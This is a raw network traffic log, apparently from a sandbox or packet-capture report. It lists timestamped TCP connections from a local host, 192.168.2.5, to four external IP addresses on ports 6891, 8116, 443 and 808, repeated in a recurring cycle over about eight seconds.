Oct 28, 2021 04:46:30.199857950 CEST	49954	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:30.199944019 CEST	49954	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:30.358535051 CEST	6891	49955	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:30.358598948 CEST	6891	49955	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:30.358660936 CEST	49955	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:30.359172106 CEST	49955	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:30.363564968 CEST	49955	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:30.363697052 CEST	49955	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:30.366281986 CEST	6891	49954	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:30.366308928 CEST	6891	49954	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:30.366324902 CEST	6891	49954	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:30.529962063 CEST	6891	49955	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:30.529999018 CEST	6891	49955	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:30.530008078 CEST	6891	49955	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:30.748630047 CEST	6891	49954	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:30.748661995 CEST	6891	49954	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:30.748800039 CEST	49954	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:30.748866081 CEST	49954	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:30.764276028 CEST	49954	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:30.887571096 CEST	49960	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:30.912883997 CEST	6891	49955	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:30.912952900 CEST	6891	49955	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:30.913016081 CEST	49955	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:30.914268017 CEST	49955	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:30.917989969 CEST	49955	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:30.930757046 CEST	6891	49954	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:30.940058947 CEST	8116	49960	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:30.940253973 CEST	49960	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:30.941397905 CEST	49960	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:30.993213892 CEST	8116	49960	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:30.993520975 CEST	8116	49960	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:30.993643999 CEST	49960	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:30.995125055 CEST	49960	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:31.003335953 CEST	49960	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:31.003567934 CEST	49960	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:31.027384043 CEST	49961	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:31.055377960 CEST	8116	49960	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:31.055414915 CEST	8116	49960	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:31.056143045 CEST	8116	49960	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:31.075406075 CEST	8116	49961	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:31.075493097 CEST	49961	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:31.076062918 CEST	49961	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:31.084286928 CEST	6891	49955	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:31.123548031 CEST	8116	49961	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:31.123686075 CEST	8116	49961	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:31.123747110 CEST	49961	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:31.124178886 CEST	49961	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:31.126856089 CEST	49961	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:31.126928091 CEST	49961	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:31.174803972 CEST	8116	49961	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:31.175158978 CEST	8116	49961	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:31.253745079 CEST	8116	49960	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:31.253796101 CEST	8116	49960	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:31.253875971 CEST	49960	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:31.253937006 CEST	49960	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:31.260010958 CEST	49960	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:31.311855078 CEST	8116	49960	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:31.359152079 CEST	8116	49961	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:31.359186888 CEST	8116	49961	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:31.359252930 CEST	49961	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:31.359309912 CEST	49961	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:31.363331079 CEST	49961	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:31.391351938 CEST	49963	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:31.391402960 CEST	443	49963	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:31.391479015 CEST	49963	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:31.392052889 CEST	49963	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:31.392067909 CEST	443	49963	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:31.410938978 CEST	8116	49961	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:31.478679895 CEST	49964	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:31.478739023 CEST	443	49964	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:31.478864908 CEST	49964	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:31.479521990 CEST	49964	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:31.479537010 CEST	443	49964	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:31.907447100 CEST	443	49963	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:31.907619953 CEST	49963	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:31.908488989 CEST	49963	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:31.908523083 CEST	443	49963	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:31.918647051 CEST	49963	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:31.918679953 CEST	443	49963	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:31.919049025 CEST	49963	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:31.919087887 CEST	443	49963	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:31.994249105 CEST	443	49964	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:31.994410038 CEST	49964	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:31.995126963 CEST	49964	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:31.995141983 CEST	443	49964	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:32.002193928 CEST	49964	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:32.002224922 CEST	443	49964	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:32.002269983 CEST	49964	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:32.002283096 CEST	443	49964	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:32.624206066 CEST	443	49963	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:32.624310017 CEST	443	49963	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:32.627281904 CEST	49963	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:32.636558056 CEST	49963	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:32.636598110 CEST	443	49963	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:32.705636978 CEST	443	49964	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:32.705723047 CEST	49964	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:32.705737114 CEST	443	49964	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:32.705796003 CEST	49964	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:32.709311962 CEST	49964	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:32.709341049 CEST	443	49964	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:32.750492096 CEST	49966	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:32.856535912 CEST	49968	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:32.909981966 CEST	808	49966	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:32.910490036 CEST	49966	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:32.911289930 CEST	49966	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:33.016206980 CEST	808	49968	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:33.016351938 CEST	49968	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:33.017137051 CEST	49968	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:33.068623066 CEST	808	49966	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:33.068712950 CEST	808	49966	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:33.068792105 CEST	49966	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:33.069720030 CEST	49966	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:33.089096069 CEST	49966	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:33.089217901 CEST	49966	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:33.176672935 CEST	808	49968	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:33.176795959 CEST	808	49968	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:33.176908016 CEST	49968	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:33.177376032 CEST	49968	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:33.181173086 CEST	49968	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:33.181265116 CEST	49968	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:33.226963043 CEST	808	49966	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:33.246445894 CEST	808	49966	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:33.246474028 CEST	808	49966	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:33.246484041 CEST	808	49966	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:33.246500969 CEST	808	49966	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:33.336956978 CEST	808	49968	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:33.340876102 CEST	808	49968	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:33.340910912 CEST	808	49968	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:33.340991974 CEST	808	49968	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:33.628360987 CEST	808	49966	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:33.628388882 CEST	808	49966	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:33.628448963 CEST	49966	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:33.628479958 CEST	49966	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:33.634512901 CEST	49966	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:33.724189997 CEST	808	49968	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:33.724261999 CEST	808	49968	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:33.724366903 CEST	49968	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:33.724401951 CEST	49968	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:33.729470968 CEST	49968	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:33.746330976 CEST	49970	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:33.794537067 CEST	808	49966	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:33.839857101 CEST	49971	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:33.893215895 CEST	808	49968	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:33.911803961 CEST	6891	49970	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:33.911892891 CEST	49970	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:33.912606001 CEST	49970	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:34.005271912 CEST	6891	49971	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:34.005420923 CEST	49971	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:34.006123066 CEST	49971	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:34.077959061 CEST	6891	49970	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:34.078047991 CEST	6891	49970	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:34.078102112 CEST	49970	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:34.078639984 CEST	49970	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:34.082798958 CEST	49970	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:34.082935095 CEST	49970	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:34.171694994 CEST	6891	49971	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:34.171817064 CEST	6891	49971	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:34.171890974 CEST	49971	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:34.172384977 CEST	49971	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:34.175760984 CEST	49971	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:34.175849915 CEST	49971	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:34.248106003 CEST	6891	49970	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:34.248131990 CEST	6891	49970	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:34.248140097 CEST	6891	49970	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:34.341128111 CEST	6891	49971	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:34.341156960 CEST	6891	49971	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:34.341170073 CEST	6891	49971	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:34.640110016 CEST	6891	49970	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:34.640146017 CEST	6891	49970	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:34.640250921 CEST	49970	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:34.648535967 CEST	49970	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:34.722752094 CEST	6891	49971	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:34.722783089 CEST	6891	49971	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:34.722928047 CEST	49971	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:34.727217913 CEST	49971	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:34.765973091 CEST	49972	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:34.813808918 CEST	8116	49972	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:34.813946962 CEST	49972	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:34.814502954 CEST	49972	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:34.815160036 CEST	6891	49970	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:34.839293003 CEST	49973	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:34.861779928 CEST	8116	49972	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:34.861897945 CEST	8116	49972	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:34.862133026 CEST	49972	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:34.862646103 CEST	49972	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:34.866281033 CEST	49972	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:34.866377115 CEST	49972	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:34.892646074 CEST	6891	49971	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:34.892961979 CEST	8116	49973	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:34.893134117 CEST	49973	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:34.893886089 CEST	49973	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:34.913569927 CEST	8116	49972	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:34.913722038 CEST	8116	49972	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:34.914107084 CEST	8116	49972	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:34.914416075 CEST	8116	49972	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:34.949121952 CEST	8116	49973	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:34.949325085 CEST	8116	49973	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:34.949404001 CEST	49973	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:34.949985027 CEST	49973	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:34.953950882 CEST	49973	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:34.954063892 CEST	49973	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:35.007425070 CEST	8116	49973	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:35.007451057 CEST	8116	49973	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:35.099534035 CEST	8116	49972	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:35.099556923 CEST	8116	49972	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:35.099607944 CEST	49972	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:35.099632978 CEST	49972	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:35.107255936 CEST	49972	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:35.154614925 CEST	8116	49972	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:35.179212093 CEST	8116	49973	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:35.179239035 CEST	8116	49973	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:35.179311037 CEST	49973	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:35.182115078 CEST	49973	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:35.233234882 CEST	49974	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:35.233278990 CEST	443	49974	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:35.233356953 CEST	49974	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:35.234008074 CEST	49974	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:35.234021902 CEST	443	49974	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:35.236020088 CEST	8116	49973	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:35.291532040 CEST	49975	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:35.291574001 CEST	443	49975	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:35.291682005 CEST	49975	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:35.292526960 CEST	49975	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:35.292548895 CEST	443	49975	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:35.756501913 CEST	443	49974	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:35.756608963 CEST	49974	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:35.757601976 CEST	49974	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:35.757616997 CEST	443	49974	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:35.761358023 CEST	49974	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:35.761370897 CEST	443	49974	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:35.761441946 CEST	49974	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:35.761452913 CEST	443	49974	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:35.814001083 CEST	443	49975	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:35.814136028 CEST	49975	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:35.814755917 CEST	49975	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:35.814765930 CEST	443	49975	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:35.820250034 CEST	49975	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:35.820266008 CEST	443	49975	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:35.820364952 CEST	49975	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:35.820374012 CEST	443	49975	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:36.470330000 CEST	443	49974	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:36.470413923 CEST	443	49974	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:36.470413923 CEST	49974	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:36.470459938 CEST	49974	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:36.477871895 CEST	49974	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:36.477911949 CEST	443	49974	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:36.534435987 CEST	443	49975	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:36.534509897 CEST	443	49975	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:36.534616947 CEST	49975	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:36.534647942 CEST	49975	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:36.537655115 CEST	49975	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:36.537679911 CEST	443	49975	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:36.606589079 CEST	49976	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:36.682523012 CEST	49977	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:36.767329931 CEST	808	49976	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:36.767466068 CEST	49976	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:36.768066883 CEST	49976	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:36.841788054 CEST	808	49977	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:36.841958046 CEST	49977	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:36.842828989 CEST	49977	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:36.928608894 CEST	808	49976	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:36.928761959 CEST	808	49976	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:36.928813934 CEST	49976	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:36.929466963 CEST	49976	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:36.933526039 CEST	49976	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:36.933657885 CEST	49976	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:37.001962900 CEST	808	49977	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:37.002214909 CEST	808	49977	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:37.002304077 CEST	49977	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:37.002871990 CEST	49977	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:37.007590055 CEST	49977	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:37.007720947 CEST	49977	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:37.089924097 CEST	808	49976	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:37.094042063 CEST	808	49976	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:37.094058990 CEST	808	49976	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:37.094170094 CEST	808	49976	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:37.161885977 CEST	808	49977	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:37.166647911 CEST	808	49977	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:37.166670084 CEST	808	49977	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:37.166696072 CEST	808	49977	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:37.473314047 CEST	808	49976	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:37.473342896 CEST	808	49976	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:37.473629951 CEST	49976	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:37.473686934 CEST	49976	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:37.488521099 CEST	49976	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:37.552541018 CEST	808	49977	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:37.552565098 CEST	808	49977	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:37.552648067 CEST	49977	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:37.552690029 CEST	49977	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:37.555058002 CEST	49977	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:37.608988047 CEST	49978	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:37.649163008 CEST	808	49976	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:37.666850090 CEST	49979	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:37.714226961 CEST	808	49977	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:37.774569988 CEST	6891	49978	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:37.774697065 CEST	49978	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:37.775428057 CEST	49978	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:37.833466053 CEST	6891	49979	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:37.833719015 CEST	49979	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:37.834718943 CEST	49979	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:37.940798998 CEST	6891	49978	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:37.940872908 CEST	6891	49978	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:37.941090107 CEST	49978	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:37.941562891 CEST	49978	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:37.944267988 CEST	49978	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:37.944498062 CEST	49978	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:38.001030922 CEST	6891	49979	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:38.001152992 CEST	6891	49979	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:38.001235962 CEST	49979	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:38.001827002 CEST	49979	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:38.005651951 CEST	49979	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:38.005762100 CEST	49979	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:38.109831095 CEST	6891	49978	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:38.109858036 CEST	6891	49978	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:38.109869003 CEST	6891	49978	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:38.172175884 CEST	6891	49979	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:38.172209024 CEST	6891	49979	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:38.490128040 CEST	6891	49978	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:38.490170956 CEST	6891	49978	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:38.490374088 CEST	49978	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:38.498769999 CEST	49978	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:38.555037022 CEST	6891	49979	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:38.555078030 CEST	6891	49979	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:38.555214882 CEST	49979	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:38.558311939 CEST	49979	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:38.625904083 CEST	49980	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:38.664275885 CEST	6891	49978	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:38.666769981 CEST	49981	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:38.674128056 CEST	8116	49980	185.56.219.47	192.168.2.5
